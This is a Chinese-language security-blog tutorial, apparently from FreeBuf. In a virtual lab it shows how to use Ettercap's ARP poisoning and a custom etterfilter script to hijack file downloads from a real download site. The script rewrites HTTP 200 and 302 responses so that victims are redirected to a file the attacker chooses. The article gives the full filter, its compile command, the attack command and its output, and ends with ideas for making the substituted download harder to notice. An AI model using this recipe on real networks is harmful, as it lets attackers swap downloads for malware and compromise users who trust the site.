【新手指南】如何用Ettercap实现“中间人攻击”(二):HTTP数据劫持首席安全官频道

*本文原创作者:gaearrow,首席安全官频道本文属FreeBuf原创奖励计划,未经许可禁止转载

作为《新手指南:如何用Ettercap实现“中间人攻击”》工具介绍的续篇,本文以某知名下载网站为例,从实战角度出发,分析交互过程,逐步介绍了利用Ettercap,构造过滤规则实现HTTP劫持的整个过程。

1  实验环境介绍

实验环境主要由LinuxMint宿主机利用VMware虚拟环境 构建。其中攻击机为kali2系统, ettercap版本为0.8.2;被攻击机为Windows 7 系统,浏览器使用IE11。 两者均采用NAT网络方式通过宿主机连接互联网。 详细的网络及地址信息如下图所示。

实验环境.PNG

实验环境.PNG

图 1 实验环境拓扑

2  分析交互过程

利用安装在被攻击机上的Wireshark抓包分析, 可知该网站下载过程可分两类:直接下载和 间接(先下载第三方程序后再下载所要内容)下载。逐步分析得到如下截图。

下载截图.PNG.png

下载截图.PNG.png

图 2 网站下载链接 截图

直接下载过程.png

直接下载过程.png

图 3 直接下载过程

间接下载过程.png

间接下载过程.png

图 4 间接下载过程

交互过程.png

交互过程.png

图 5 下载交互过程

针对两种不同的下载方式,分别确定劫持替换思路。

(1)直接下载过程

定位“200 OK”服务器响应数据包,将其修改成302 Moved Temporarily,并添加Location属性,重定向至攻击者指定的程序地址 ,完成下载劫持。

(2)间接下载过程

定位302 Moved Temporarily数据包,替换Location属性的下载程序地址 ,完成下载劫持。

3 定制过滤规则

依照劫持替换思路制定如下过滤规则

# ettercap v0.8.2
# filename:onlinedown.filter
# Written by Gaearrow

## Disable Encoding
if (ip.proto == TCP && tcp.dst == 80){
    if (search(DATA.data, "Accept-Encoding")){
        replace("Accept-Encoding", "Accept-Nothing");
    }
}

## Replace
if (ip.proto == TCP){
    ## Replace 302 Response
    if (search(DATA.data, "302 Moved Temporarily")){
        msg("Found 302 Response!\n");
        if (search(DATA.data, "Location:")){
            replace("Location:", "Location: #");
            msg("Replace 302 Successfully!\n");
        }
    }
    ## Replace 200 Response
    if (search(DATA.data, "200 OK")){
        msg("Found 200 Response!\n");
        if (search(DATA.data, "Content-Type: application")){
            replace("200 OK", "302 Moved Temporarily \r\nLocation: #");
            msg("Replace 200 Successfully!\n");
        }
    }
}

其中替换Location时,最后添加的“#”是为了忽略后面的原URL内容。

规则编译命令如下

root@kali2:~/ettercap# etterfilter onlinedown.filter -o onlinedown.ef

etterfilter 0.8.2 copyright 2001-2015 Ettercap Development Team


 14 protocol tables loaded:
    DECODED DATA udp tcp esp gre icmp ipv6 ip arp wifi fddi tr eth 

 13 constants loaded:
    VRRP OSPF GRE UDP TCP ESP ICMP6 ICMP PPTP PPPOE IP6 IP ARP 

 Parsing source file 'onlinedown.filter'  done.

 Unfolding the meta-tree  done.

 Converting labels to real offsets  done.

 Writing output to 'onlinedown.ef'  done.

 -> Script encoded into 24 instructions.

验证攻击效果

3.1 执行攻击命令

root@kali2:~/ettercap# ettercap -i eth0 -Tq -F onlinedown.ef -M arp:remote //192.168.190.2/ //192.168.190.130/

ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team

Content filters loaded from onlinedown.ef...
Listening on:
  eth0 -> 00:0C:29:AF:AF:AF
      192.168.190.134/255.255.255.0
      fe80::20c:29ff:feaf:afaf/64

SSL dissection needs a valid 'redir_command_on' script in the etter.conf file
Ettercap might not work correctly. /proc/sys/net/ipv6/conf/eth0/use_tempaddr is not set to 0.
Privileges dropped to EUID 65534 EGID 65534...

  33 plugins
  42 protocol dissectors
  57 ports monitored
20388 mac vendor fingerprint
1766 tcp OS fingerprint
2182 known services
Lua: no scripts were specified, not starting up!

Scanning for merged targets (2 hosts)...

* |==================================================>| 100.00 %

2 hosts added to the hosts list...

ARP poisoning victims:

 GROUP 1 : 192.168.190.2 00:50:56:F9:00:EC

 GROUP 2 : 192.168.190.130 00:0C:29:BD:41:A7
Starting Unified sniffing...


Text only Interface activated...
Hit 'h' for inline help

Found 200 Response!

Found 200 Response!

Found 200 Response!

Found 200 Response!

Replace 200 Successfully!

Found 302 Response!

Replace 302 Successfully!

Found 200 Response!

Replace 200 Successfully!

3.2 直接下载劫持成功

zhijie.png

zhijie.png

3.3 间接下载劫持成功

jianjie.png

jianjie.png

4  存在不足

本文基于kali平台上的Ettercap,对某知名下载网站下载过程成功实施了劫持。但该过程存在以下几点不足:

(1)虽然本文将两种下载过程分别讨论,但本质一致,应该可以划归一类;

(2)攻击者指定的文件名称不能随被劫持文件名变化,但是通过搭建WEB服务,截取Get请求中的被劫持文件URI中名称字段,可以解决实现名称一致;

(3)下载文件的图标,无法随需求变化,除了使用通用化的图标,暂时没有好的解决思路。

*本文原创作者:gaearrow,本文属FreeBuf原创奖励计划,未经许可禁止转载

2017-04-28 10:49 阅读:511